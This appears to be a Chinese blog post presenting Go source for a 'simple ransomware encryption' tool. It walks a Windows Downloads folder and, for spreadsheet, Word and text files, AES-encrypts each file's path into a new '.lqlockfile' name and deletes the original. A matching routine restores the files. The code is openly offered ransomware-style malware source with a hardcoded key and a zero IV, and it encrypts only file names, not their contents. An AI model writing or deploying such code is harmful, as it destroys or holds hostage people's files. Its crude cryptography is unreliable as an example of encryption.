记一次简单的勒索加密

package main

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"encoding/hex"
	"fmt"
	"io"
	"os"
	ps "path"
	"path/filepath"
	"strings"
)

//
func PKCS7Padding(ciphertext []byte, blockSize int) []byte {
	padding := blockSize - len(ciphertext)%blockSize
	padtext := bytes.Repeat([]byte{byte(padding)}, padding)
	return append(ciphertext, padtext...)
}

func PKCS7UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}

//AesEncrypt 加密函数
func AesEncrypt(plaintext []byte, key, iv []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockSize := block.BlockSize()
	plaintext = PKCS7Padding(plaintext, blockSize)
	blockMode := cipher.NewCBCEncrypter(block, iv)
	crypted := make([]byte, len(plaintext))
	blockMode.CryptBlocks(crypted, plaintext)
	return crypted, nil
}

// AesDecrypt 解密函数
func AesDecrypt(ciphertext []byte, key, iv []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockSize := block.BlockSize()
	blockMode := cipher.NewCBCDecrypter(block, iv[:blockSize])
	origData := make([]byte, len(ciphertext))
	blockMode.CryptBlocks(origData, ciphertext)
	origData = PKCS7UnPadding(origData)
	return origData, nil
}

func main() {
	key, _ := hex.DecodeString("6368616e676520746869732070617373")
	fmt.Println(string(key))
	plaintext := []byte("hello-ming")

	c := make([]byte, aes.BlockSize+len(plaintext))
	iv := c[:aes.BlockSize]

	//加密
	ciphertext, err := AesEncrypt(plaintext, key, iv)
	fmt.Println(string(iv))
	if err != nil {
		panic(err)
	}

	//打印加密base64后密码
	fmt.Println(base64.StdEncoding.EncodeToString(ciphertext))

	//解密
	plaintext, err = AesDecrypt(ciphertext, key, iv)
	if err != nil {
		panic(err)
	}

	//打印解密明文
	//ReadFile(key,iv)
	//还原文件
	WriteFile(key,iv)


}

func WriteFile(key, iv []byte){
	root := "C:/Users/Administrator/Downloads"
	err := filepath.Walk(root, func(path string, info os.FileInfo, err error) error {
		if !info.IsDir(){
			ext:=strings.Replace(ps.Ext(info.Name()),".","",-1)
			fmt.Println(ext)
			path=strings.Replace(path,"\\","/",-1)
			if ext=="lqlockfile"{
				_,encry_name:=filepath.Split(path)
				encry_name=strings.Replace(encry_name,"-l-l-","/",-1)
				ciphertext,_:=base64.StdEncoding.DecodeString(encry_name)
				//解密
				plaintext, err := AesDecrypt(ciphertext, key, iv)

				encry_file,err:=os.Open(path)
				fmt.Println(err,string(ciphertext))
				old_file,err:=os.Create(string(plaintext))
				if err != nil {
					fmt.Println(path)
					panic(err)
				}
				//new_file_name:=
				io.Copy(old_file,encry_file)
				old_file.Close()
				encry_file.Close()
				//删除文件
				os.Remove(path)
			}
		}
		return nil
	})
	if err != nil {
		panic(err)
	}
}

func ReadFile(key, iv []byte){
	var files []string

	root := "C:/Users/Administrator/Downloads"
	err := filepath.Walk(root, func(path string, info os.FileInfo, err error) error {
		if !info.IsDir(){
			ext:=strings.Replace(ps.Ext(info.Name()),".","",-1)
			fmt.Println(ext)
			path=strings.Replace(path,"\\","/",-1)
			if ext=="xlsx"||ext=="xls"||ext=="doc"||ext=="txt"||ext=="docs"{
				//加密
				ciphertext, err := AesEncrypt([]byte(path), key, iv)
				plaintext, err := AesDecrypt(ciphertext, key, iv)
				fmt.Println(string(plaintext))
				fmt.Println(11111111,string(ciphertext))
				sEnc := base64.StdEncoding.EncodeToString(ciphertext)
				last_file_name:=strings.Replace(sEnc,"/","-l-l-",-1)
				user_dir,_:=filepath.Split(path)
				real_file,err:=os.Open(path)
				fmt.Println(err,string(ciphertext))
				encry_file,err:=os.Create(user_dir+last_file_name+".lqlockfile")
				if err != nil {
					fmt.Println(path)
					panic(err)
				}
				//new_file_name:=
				io.Copy(encry_file,real_file)
				real_file.Close()
				encry_file.Close()
				//删除文件
				fmt.Println(path)
				result:=os.Remove(path)
				fmt.Println(result,err)
			}
		}
		files = append(files, path)
		return nil
	})
	if err != nil {
		panic(err)
	}
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值